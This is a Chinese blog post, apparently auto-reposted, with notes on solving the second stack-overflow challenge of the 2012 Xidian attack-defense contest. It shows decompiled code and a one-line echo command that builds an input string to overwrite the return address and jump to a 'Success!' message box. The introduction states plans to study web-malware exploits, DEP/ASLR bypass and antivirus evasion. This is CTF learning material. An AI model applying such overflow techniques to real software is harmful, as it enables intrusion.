2012西电网络攻防大赛 溢出第二题目 调试笔记

下午调试了三个网马漏洞,一个ie两个ActiveX的漏洞。回顾了一下堆喷射技术。感觉没有什么营养,网马利用堆喷射技术比普通栈溢出还简单,好比靶子几乎无限大,闭上眼睛都能蒙中。
网马相关技术作为apt攻击的常用手段之一,是需要重点研究的技术,下一步准备着重研究下如何快速开发绕过dep的网马exp,解密分析一些效果很好的shellcode是如何写的比如不用下载执行的shellcode等,如何对抗杀软检测,分析如何利用Java和flash绕过windows7的ASLR和dep等,先写个研究方向,抽空研究。

先抽几分钟把2012年西电溢出题目的第二题做了,第一题是一个shellcode编程题目,对硬编码的shellcode表示无爱,改天也自己学着写一个动态寻址的通用shellcode。

看第二题说明

1、    请输入一段字符串;
2、    目的是使程序显示如下对话框:
2012西电网络攻防大赛 溢出第二题目 调试笔记

3、    不得修改程序本身;
4、    提交答案,给出字符串内容。

程序比较小托ida里f5一下

int __cdecl main_0()
{
char v1; // [sp+Ch] [bp-58h]@1
__int16 v2; // [sp+4Ch] [bp-18h]@1
int v3; // [sp+4Eh] [bp-16h]@1
__int16 v4; // [sp+52h] [bp-12h]@1
int v5; // [sp+54h] [bp-10h]@1
int v6; // [sp+58h] [bp-Ch]@1
int v7; // [sp+5Ch] [bp-8h]@1
int v8; // [sp+60h] [bp-4h]@1

memset(&v1, -858993460, 0x58u);
v8 = -1430532899;
v7 = -1144201814;
v6 = -576013364;
v5 = -860116259;
v2 = *(_WORD *)word_42502C;
v3 = 0;
v4 = 0;
printf(“please input the string:”);
scanf(“%s”, &v2);
if ( v8 == -1144201814 && v7 == -576013364 && v6 == -860116259 && v5 == -1430532899 )
{
MessageBoxA(0, “Success!”, “Exploit2″, 0);
_chkesp();
}
return _chkesp();
}

程序里本身就有Exploit2的MessageBox 的代码,相当与已经把shellcode写好了,我们只要控制程序流程跳过去执行就可以了。scanf这里可以进行污染内存,可以覆盖返回地址,但是 _chkesp()函数会检测esp是否被覆盖,但是我们完全不需要覆盖esp就能让eip跳过去。
另一方面如果满足if ( v8 == -1144201814 && v7 == -576013364 && v6 == -860116259 && v5 == -1430532899 )语句的话也可以执行msgbox,这几个变量正好也可以被覆盖,但是输入字符真心麻烦。
我们还是直接控制eip吧!

linux下生成exp字符串
echo ’0123456789012345678901234567′$’/x9B/x10/x40′ > ~/Desktop/exp.txt

运行一下程序,输入字符串,弹出了期待的msgbox。可以安心睡了。

2012西电网络攻防大赛 溢出第二题目 调试笔记

该文章由WP-AutoPost插件自动采集发布

原文地址:http://bluereader.org/article/557